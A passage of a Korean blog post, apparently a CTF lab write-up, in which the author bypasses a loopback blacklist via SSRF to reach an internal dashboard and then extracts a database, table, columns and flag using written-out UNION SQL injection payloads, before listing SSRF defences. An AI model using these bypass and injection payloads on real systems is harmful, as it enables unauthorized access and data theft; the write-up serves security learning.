&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;간단한 헬스 페이지를 구현한 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2087&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2ok8k/dJMcaaqWWs2/12RNKqeSWayXLNKEXJnH9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2ok8k/dJMcaaqWWs2/12RNKqeSWayXLNKEXJnH9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2ok8k/dJMcaaqWWs2/12RNKqeSWayXLNKEXJnH9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2ok8k%2FdJMcaaqWWs2%2F12RNKqeSWayXLNKEXJnH9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2087&quot; height=&quot;585&quot; data-origin-width=&quot;2087&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;burp에서는 apiurl로 사용자에게 보여지고 있습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SSRF 취약점을 이용하여 dashborad.php를 확인하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1696&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8bH3s/dJMcahKn6Ye/TMVJKWscBhAWO9leRVP5h0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8bH3s/dJMcahKn6Ye/TMVJKWscBhAWO9leRVP5h0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8bH3s/dJMcahKn6Ye/TMVJKWscBhAWO9leRVP5h0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8bH3s%2FdJMcahKn6Ye%2FTMVJKWscBhAWO9leRVP5h0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1696&quot; height=&quot;500&quot; data-origin-width=&quot;1696&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Apiurl에 http://127.0.0.1/ssrf_3/&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;dashborad.php&amp;nbsp; 요청한 결과&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;127.0.0.1이 블랙리스트로 필터링이 되어있는 것 같습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/douPfF/dJMcajaiYVz/KExtn58RhWrl6tKks9iuc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/douPfF/dJMcajaiYVz/KExtn58RhWrl6tKks9iuc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/douPfF/dJMcajaiYVz/KExtn58RhWrl6tKks9iuc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdouPfF%2FdJMcajaiYVz%2FKExtn58RhWrl6tKks9iuc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2088&quot; height=&quot;901&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;그래서 우선 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;http://0.0.0.0/ssrf_3/&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;dashboard.php 수정해서 dashboard.php를 활성화 시켜봤습니다. 그리고 나서 .dashboard.php&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수정 요청해봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHH7EG/dJMcagEIzQ7/f5fksmXKgkshhbrkE4uG91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHH7EG/dJMcagEIzQ7/f5fksmXKgkshhbrkE4uG91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHH7EG/dJMcagEIzQ7/f5fksmXKgkshhbrkE4uG91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHH7EG%2FdJMcagEIzQ7%2Ff5fksmXKgkshhbrkE4uG91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;662&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인하고 보니 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; &lt;span&gt;$q&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt;)(&lt;/span&gt;&lt;span&gt;$_GET&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;'q'&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;??&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;''&lt;/span&gt;&lt;span&gt;); 코드에 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;UNION SQL Injection &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 가능하도록 설계가 되있는 페이지인것 같습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;[취약한 쿼리문]&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773065479320&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$sql = &quot;SELECT id, service_name, health_status
FROM monitor_targets
WHERE service_name LIKE '%$q%'
ORDER BY id&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[공격 Payload]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773121756100&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;' UNION SELECT (SQL 쿼리문), null, null and '1%' like '1&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[DB 이름 추출]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773126444517&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;%' UNION SELECT (select database()), null, null and '1%' like '1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기존 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;http://0.0.0.0/ssrf_3/&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;dashboard.php에 ?q= 데이터에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DB 이름을 추출 할 수 있는 페이로드를 사용합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773126532235&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+database()),+null,+null+and+'1'+like+'1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mAVKC/dJMcafsfsMg/yXyiEXkLY2ZDk6m6LXcUQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mAVKC/dJMcafsfsMg/yXyiEXkLY2ZDk6m6LXcUQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mAVKC/dJMcafsfsMg/yXyiEXkLY2ZDk6m6LXcUQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmAVKC%2FdJMcafsfsMg%2FyXyiEXkLY2ZDk6m6LXcUQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;524&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;하지만 이대로 사용하면 요청 실패로 나오게 됩니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이유는 URL 에서 문자가 그대로 들어가는 것 을 허용하지 않기 때문에&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;인코딩을 사용하여 URL에 다시 요청 해야합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[인코딩이 적용된 DB 이름 추출]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773127151888&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http%3A%2F%2F0.0.0.0%2Fssrf_3%2Fdashboard.php%3Fq%3D%25%27%2BUNION%2BSELECT%2B(select%2Bdatabase())%2C%2Bnull%2C%2Bnull%2Band%2B%271%27%2Blike%2B%271&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2089&quot; data-origin-height=&quot;1046&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daEGVP/dJMcag5MsLb/xExGYSyUly2TW2USC7Ysc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daEGVP/dJMcag5MsLb/xExGYSyUly2TW2USC7Ysc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daEGVP/dJMcag5MsLb/xExGYSyUly2TW2USC7Ysc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaEGVP%2FdJMcag5MsLb%2FxExGYSyUly2TW2USC7Ysc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2089&quot; height=&quot;1046&quot; data-origin-width=&quot;2089&quot; data-origin-height=&quot;1046&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;DB 이름 CtfDB_SSRF3를 추출하였습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[테이블 이름 찾기]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기존 공격 페이로드에&amp;nbsp; 테이블 이름 찾는 코드와 DB이름을 추가하여&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테이블 이름을 추출합니다. [인코딩 필수]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773128580794&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'CtfDB_SSRF3' LIMIT 0, 1
---&amp;gt;
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=+'CtfDB_SSRF3'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테이블 이름 [incident_vault]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[컬럼 이름 찾기]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;역시 기존 공격&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; 컬럼 이름&amp;nbsp; 코드와 테이블 이름을 추가하여&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;컬럼을 추출 합니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;컬럼 이름 0 : id, 1 : memo, 2 : severity&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773132982363&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
----&amp;gt;
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[데이터 추출]&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테이블 이름과 과 컬럼 이름을 찾았습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마지막으로 FLAG 데이터를 추출해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773140267211&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1
----&amp;gt;
http://0.0.0.0/ssrf_3/dashboard.php?q=%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;1087&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blvHmp/dJMcabQUZYt/bk4hcvkD2GaaTp9vNoW2x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blvHmp/dJMcabQUZYt/bk4hcvkD2GaaTp9vNoW2x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blvHmp/dJMcabQUZYt/bk4hcvkD2GaaTp9vNoW2x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblvHmp%2FdJMcabQUZYt%2Fbk4hcvkD2GaaTp9vNoW2x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2095&quot; height=&quot;1087&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;1087&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;드디어 SSRF3의 원하는 데이터를 찾을 수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마지막으로 SSRF 대응방안으로&amp;nbsp; SSRF 마무리 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[SSRF 대응 방안]&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;1. 외부 요청에 대해 사전에 허용된 URL 이나 IP 주소를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;화이트리스트로 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정의하여 허용된 대상에만 접근이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;가능하도록 설정 해야합니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;2. 내부 네트워크 대역 및 관리용 포트에 대한 요청을 감지하고 차단&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;[차단 IP]&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 193px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;구분&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;IP 대역&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Loopback&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;127.0.0.0/8&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: left; height: 22px;&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;로컬호스트(자기 자신)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
